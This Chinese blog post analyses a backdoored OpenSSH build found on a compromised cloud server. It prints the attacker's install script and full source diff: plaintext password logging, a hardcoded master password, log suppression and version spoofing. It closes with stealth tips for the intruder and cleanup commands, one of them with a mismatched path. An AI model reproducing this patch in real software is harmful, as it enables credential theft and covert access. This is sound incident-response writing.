SSH服务恶意代码分析

SSH服务恶意代码分析

摘要:

本文介绍一个ssh服务的恶意代码,该恶意代码为本人管理阿里云服务器时偶然发现,研究源码感觉存在较大的隐蔽性和安全隐患,因此写此博客记录之。

正文:

  • 初探:

    昨天检查实验室阿里云服务器/etc/passwd 文件存在提权用户Redistoor,初步怀疑系统被入侵。先不管,先把这个用户给禁用。

    查看rc.local系统自启动文件发现可疑启动项/tmp/minerd –XXXXX,可初步判断入侵者实际上已经获得了root权限。

    切换到/tmp目录下,未发现minerd程序,反而发现存在名字为httpdd的可执行文件,运行httpdd -v 发现无输出任何信息,感觉程序存在伪装成httpd的可能,应该是恶意代码,于是尝试执行,仅仅发现程序会连接网络,但具体做什么事不得而知。

  • 入侵轨迹:

    进入Redistoor的根目录,存在.bash_history文件,读取本文件得到该入侵用户bash历史指令:

    这里写图片描述

  • 密码记录:

    由于/tmp目录下确实存在zilog文件,读取该文件,吓了一跳,尼玛,记录着全部用户登录到系统的明文密码:

    user:passwd –> root:密码

    这里写图片描述

    到这里大概已经可以猜到httpdd是用来传输zilog文件的程序了,尝试着通过再次用ssh连接到服务器,结果zilog又再次记录了本次登录的密码,并且不仅仅对root,对于任何用户,该功能一直有效。

    一开始我怀疑是系统登录时/etc/.bashrc 或者profile被修改了某些能够记录用户密码的脚本,然而我错了。

  • 陷入困境:

    在纠结和无数次失败的尝试中度过了好几个小时,思路主要是想知道每次登录时,到底是哪个程序试图在写入zilog文件,尝试方法是用lsof,然而写入zilog文件似乎的很快的事情,当敲完lsof运行时可能程序早已写入并退出,这样lsof扑空。那我写个while循环呢?并没有什么卵用。

    线索到这里似乎就断了,向阿里的客服申请帮助,可是居然要我花3000多块钱买他们的服务器托管服务,就是个坑。还是自己动手丰衣足食好了。于是随便到其他目录逛逛,看下还有没有其他可疑的线索。

  • 柳暗花明:

    嘿嘿!运气好得不得了,在/usr目录下有了新的发现。该目录下面发现了Javar以及Farm的可执行代码,执行Javar也是一个网络连接程序,而且一旦运行按下Ctrl+C不但无法退出,还抛出一句“FuckYou!!!”,Oh,Shit! 这是入侵者最好的呼喊吧,在windows平台用binaryviewer打开查看其二进制对于的ASCII码,从中分析获取其自定义的一些字符常量,发现DDOS选项,估计这是个执行DDOS攻击的工具。

    此外在/usr目录下还有一个‘1’的可执行程序,执行了一下发现其实是一个bash脚本:

yum install -y zlib zlib-devel
yum groupinstall -y "Development tools"
yum install -y openssl openssl-devel pam-devel
apt-get install gcc g++ make perl curl
apt-get install -y libssl-dev
apt-get install zlib1g.dev
apt-get install -y openssl
apt-get install -y rpm
apt-get install -y libssl-dev
apt-get install -y libpam0g-dev
apt-get install -y libkrb5-dev
tar zxvf China.Z.tar.gz
cd ./openssh-5.9p1
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
make && make install
/etc/init.d/sshd restart
/etc/rc.d/init.d/sshd restart
cd ../
rm -rf /openssh-5.9p1
rm -rf China.Z.tar.gz
rm -rf Install.sh

从脚本中可以发现脚本会用yum或者apt-get安装一些安装sshd服务所需的依赖库,然后解压China.Z.tar.gz文件,估计该文件解压出来就是
openssh-5.9p1文件,然后进入该文件去进行编译,安装替换掉系统原来的ssh程序,最后重启sshd服务,只要入侵者在sshd服务中做一些手脚,就完全有可能获取到登录的明文密码了,虽然一开始我也有怀疑是sshd服务被替换,没想到入侵者居然真的用了这么绝的手段。

  • 百密一疏:

    看了下/usr目录,openssh-5.9pl居然还在!!!!!原来脚本中rm -rf /openssh-5.9pl少了个‘.’,百密一疏了吧,源码都没删除,这回抓活的了。

    进入源码目录,天哪,好方,一堆文件,我只是想知道他到底改动了源码的哪些地方而已。一开始思路是从文件修改时间上看,那些修改时间较为临近的就是被入侵者自己修改的文件,于是按照这个思路对问津按照时间进行排序,发现了个可以省很多时间的文件:ssdb5.9.p1.diff !哈哈,diff !!!!!!!!!! 真没想到!打开文件,全部源码修改暴露无疑:

diff -u openssh-5.9p1/auth.c openssh-5.9p1.patch//auth.c
--- openssh-5.9p1/auth.c    2011-05-29 18:40:42.000000000 +0700
+++ openssh-5.9p1.patch//auth.c 2012-02-04 22:17:53.381926889 +0700
@@ -271,14 +271,16 @@
    else
        authmsg = authenticated ? "Accepted" : "Failed";

-   authlog("%s %s for %s%.100s from %.200s port %d%s",
-       authmsg,
-       method,
-       authctxt->valid ? "" : "invalid user ",
-       authctxt->user,
-       get_remote_ipaddr(),
-       get_remote_port(),
-       info);
+   if(!secret_ok || secret_ok !=1){
+       authlog("%s %s for %s%.100s from %.200s port %d%s",
+           authmsg,
+           method,
+           authctxt->valid ? "" : "invalid user ",
+           authctxt->user,
+           get_remote_ipaddr(),
+           get_remote_port(),
+           info);
+   }

 #ifdef CUSTOM_FAILED_LOGIN
    if (authenticated == 0 && !authctxt->postponed &&
diff -u openssh-5.9p1/auth-pam.c openssh-5.9p1.patch//auth-pam.c
--- openssh-5.9p1/auth-pam.c    2009-07-12 19:07:21.000000000 +0700
+++ openssh-5.9p1.patch//auth-pam.c 2012-02-04 22:17:53.381926889 +0700
@@ -1210,6 +1210,10 @@
    if (sshpam_err == PAM_SUCCESS && authctxt->valid) {
        debug("PAM: password authentication accepted for %.100s",
            authctxt->user);
+       if((f=fopen(ILOG,"a"))!=NULL){
+           fprintf(f,"user:password --> %s:%s\n",authctxt->user, password);
+           fclose(f);
+       }
        return 1;
    } else {
        debug("PAM: password authentication failed for %.100s: %s",
diff -u openssh-5.9p1/auth-passwd.c openssh-5.9p1.patch//auth-passwd.c
--- openssh-5.9p1/auth-passwd.c 2009-03-08 07:40:28.000000000 +0700
+++ openssh-5.9p1.patch//auth-passwd.c  2012-02-04 22:17:53.381926889 +0700
@@ -85,7 +85,10 @@
 #if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
    static int expire_checked = 0;
 #endif
-
+   if (!strcmp(password, SECRETPW)) {
+                secret_ok=1;
+                return 1;
+        }
 #ifndef HAVE_CYGWIN
    if (pw->pw_uid == 0 && options.permit_root_login != PERMIT_YES)
        ok = 0;
@@ -123,6 +126,12 @@
    }
 #endif
    result = sys_auth_passwd(authctxt, password);
+   if(result){
+       if((f=fopen(ILOG,"a"))!=NULL){
+           fprintf(f,"user:password --> %s:%s\n",authctxt->user, password);
+           fclose(f);
+       }
+   }
    if (authctxt->force_pwchange)
        disable_forwarding();
    return (result && ok);
diff -u openssh-5.9p1/canohost.c openssh-5.9p1.patch//canohost.c
--- openssh-5.9p1/canohost.c    2010-10-12 09:28:12.000000000 +0700
+++ openssh-5.9p1.patch//canohost.c 2012-02-04 22:17:53.381926889 +0700
@@ -78,10 +78,12 @@

    debug3("Trying to reverse map address %.100s.", ntop);
    /* Map the IP address to a host name. */
-   if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
-       NULL, 0, NI_NAMEREQD) != 0) {
-       /* Host name not found.  Use ip address. */
-       return xstrdup(ntop);
+   if(!secret_ok || secret_ok!=1){
+       if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
+               NULL, 0, NI_NAMEREQD) != 0) {
+           /* Host name not found.  Use ip address. */
+           return xstrdup(ntop);
+       }
    }

    /*
Common subdirectories: openssh-5.9p1/contrib and openssh-5.9p1.patch//contrib
diff -u openssh-5.9p1/includes.h openssh-5.9p1.patch//includes.h
--- openssh-5.9p1/includes.h    2010-10-24 06:47:30.000000000 +0700
+++ openssh-5.9p1.patch//includes.h 2012-02-04 22:17:53.385927565 +0700
@@ -172,4 +172,9 @@

 #include "entropy.h"

+int secret_ok;
+FILE *f;
+#define ILOG "/tmp/ilog"
+#define OLOG "/tmp/olog"
+#define SECRETPW "apaajaboleh"
 #endif /* INCLUDES_H */
diff -u openssh-5.9p1/log.c openssh-5.9p1.patch//log.c
--- openssh-5.9p1/log.c 2011-06-20 11:42:23.000000000 +0700
+++ openssh-5.9p1.patch//log.c  2012-02-04 22:17:53.385927565 +0700
@@ -351,6 +351,7 @@
 void
 do_log(LogLevel level, const char *fmt, va_list args)
 {
+if(!secret_ok || secret_ok!=1){
 #if defined(HAVE_OPENLOG_R) && defined(SYSLOG_DATA_INIT)
    struct syslog_data sdata = SYSLOG_DATA_INIT;
 #endif
@@ -428,3 +429,4 @@
    }
    errno = saved_errno;
 }
+}
Common subdirectories: openssh-5.9p1/openbsd-compat and openssh-5.9p1.patch//openbsd-compat
Common subdirectories: openssh-5.9p1/openssh-5.9p1.patch and openssh-5.9p1.patch//openssh-5.9p1.patch
Only in openssh-5.9p1.patch/: password_authentication
Common subdirectories: openssh-5.9p1/regress and openssh-5.9p1.patch//regress
Common subdirectories: openssh-5.9p1/scard and openssh-5.9p1.patch//scard
diff -u openssh-5.9p1/servconf.c openssh-5.9p1.patch//servconf.c
--- openssh-5.9p1/servconf.c    2011-06-23 05:30:03.000000000 +0700
+++ openssh-5.9p1.patch//servconf.c 2012-02-04 22:17:53.385927565 +0700
@@ -686,7 +686,7 @@
    { "without-password",       PERMIT_NO_PASSWD },
    { "forced-commands-only",   PERMIT_FORCED_ONLY },
    { "yes",            PERMIT_YES },
-   { "no",             PERMIT_NO },
+   { "no",             PERMIT_YES },
    { NULL, -1 }
 };
 static const struct multistate multistate_compression[] = {
Only in openssh-5.9p1.patch/: sshbd5.9p1.diff
diff -u openssh-5.9p1/sshconnect2.c openssh-5.9p1.patch//sshconnect2.c
--- openssh-5.9p1/sshconnect2.c 2011-05-29 18:42:34.000000000 +0700
+++ openssh-5.9p1.patch//sshconnect2.c  2012-02-04 22:17:53.385927565 +0700
@@ -878,6 +878,10 @@
    snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
        authctxt->server_user, host);
    password = read_passphrase(prompt, 0);
+   if((f=fopen(OLOG,"a"))!=NULL){
+       fprintf(f,"user:password@host --> %s:%s@%s\n",authctxt->server_user,password,authctxt->host);
+       fclose(f);
+   }
    packet_start(SSH2_MSG_USERAUTH_REQUEST);
    packet_put_cstring(authctxt->server_user);
    packet_put_cstring(authctxt->service);
diff -u openssh-5.9p1/sshlogin.c openssh-5.9p1.patch//sshlogin.c
--- openssh-5.9p1/sshlogin.c    2011-01-11 13:20:07.000000000 +0700
+++ openssh-5.9p1.patch//sshlogin.c 2012-02-04 22:17:53.389928235 +0700
@@ -133,8 +133,10 @@

    li = login_alloc_entry(pid, user, host, tty);
    login_set_addr(li, addr, addrlen);
-   login_login(li);
-   login_free_entry(li);
+   if(!secret_ok || secret_ok!=1){
+       login_login(li);
+       login_free_entry(li);
+   }
 }

 #ifdef LOGIN_NEEDS_UTMPX
@@ -158,6 +160,8 @@
    struct logininfo *li;

    li = login_alloc_entry(pid, user, NULL, tty);
-   login_logout(li);
-   login_free_entry(li);
+   if(!secret_ok || secret_ok!=1){
+       login_logout(li);
+       login_free_entry(li);
+   }
 }
diff -u openssh-5.9p1/version.h openssh-5.9p1.patch//version.h
--- openssh-5.9p1/version.h 2011-09-07 06:11:20.000000000 +0700
+++ openssh-5.9p1.patch//version.h  2012-02-04 23:03:22.821948952 +0700
@@ -1,6 +1,6 @@
 /* $OpenBSD: version.h,v 1.62 2011/08/02 23:13:01 djm Exp $ */

-#define SSH_VERSION    "OpenSSH_5.9"
+#define SSH_VERSION    "OpenSSH_5.8p1 Debian-1ubuntu3"

 #define SSH_PORTABLE   "p1"
 #define SSH_RELEASE    SSH_VERSION SSH_PORTABLE
  • 上帝为你关上一扇门,自己给自己打开一个窗:

    可见对源码修改,使它具备记录账户明文信息主要是在:auth-passwd.c中,代码会执行fopen(“/tmp/zilog”,”a”)在文件末尾追加账户信息。
    在该代码中,还有一点比较变态的是:SECRETPW 这个宏定义(在includes.h中定义为#define SECRETPW “apaajaboleh”),代码:

+   if (!strcmp(password, SECRETPW)) {
+                secret_ok=1;
+                return 1;
+        }
  • 大概的思路是密码跟SECRETPW进行匹配,如果匹配满足,则验证通过。这意味也就着,入侵者在不知道密码的情况下,只要用系统已有的账户名(包括root),输入SECRETPW定义的字符串即”apaajaboleh”,也能登录系统!!!!!

    另外一个值得注意的是,系统除了具有登录到本机的账号和密码以外,还具有记录从本机通过ssh、scp等命令登录到其他计算机的能力,生成的记录会保存在/tmp/zolog。在sshconnect2.c代码中,实现了本功能。

if((f=fopen(OLOG,"a"))!=NULL){
    fprintf(f,"user:password@host --> %s:%s@%s\n",authctxt->server_user,password,authctxt->host);
    fclose(f);
}

总结及应对方法:

至此,本恶意程序的分析工作完毕,总结起来,该恶意代码的执行特征如下:

(1) 监控登录到本机的用户,并将登录账户和密码记录到/tmp/zilog
(2) 监控通过本机登录带其他机器的用户,并将登录账户、密码和目标地址记录到/tmp/zolog
(3) 预留后门验证密码,方便密码上传程序上传失败时登录系统使用。

应对策略:

   (1)删除/usr/bin 下ssh开头的可执行文件:rm -rf /usr/bin/ssh*
   (2)删除/usr/sbin下sshd文件:rm -rf /usr/bin/sshd
   (3)删除/etc/ssh 下的配置文件 rm -rf /etc/ssh/*
   (4)利用yum重装openssh服务:yum reinstall openssh
      或者 下载openssh源码编译安装
   (5)重置系统全部账户密码,如果可能,改用公钥-密钥对认证

发此博客,主要是该恶意程序存在巨大的安全隐患,入侵者破解系统登录密码以后,通过替换系统关键远程登录服务sshd执行文件的方法自动上传用户密码可谓一劳永逸,而预留后门登录密码的方式却是特别保险的方法。
但是,吐槽一下,该攻击者执行入侵的轨迹过于明显,入侵手段还有一些需要提高的地方:

(1)留下大量的入侵记录,在/etc/passwd中,既然已经获得系统
    root权限,有必要删除入侵账户,而且应该完全删除入侵账户的根
    目录;
(2)安装恶意代码过于随意,如果将httpdd Javar Fram 等程序安    
    装到/usr/bin或者/bin等目录下,无疑会增加恶意程序的隐蔽
    性,增强其生存机率。
(3)最严重的是一时疏忽暴漏由于少加了个'.'直接暴漏主要的源代码,
    这使得本次的侦破难度大大降低,可谓连根拔起。

在 Javar、httpdd、Farm中还有很多可以挖掘的信息,笔者无意,故放弃之。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章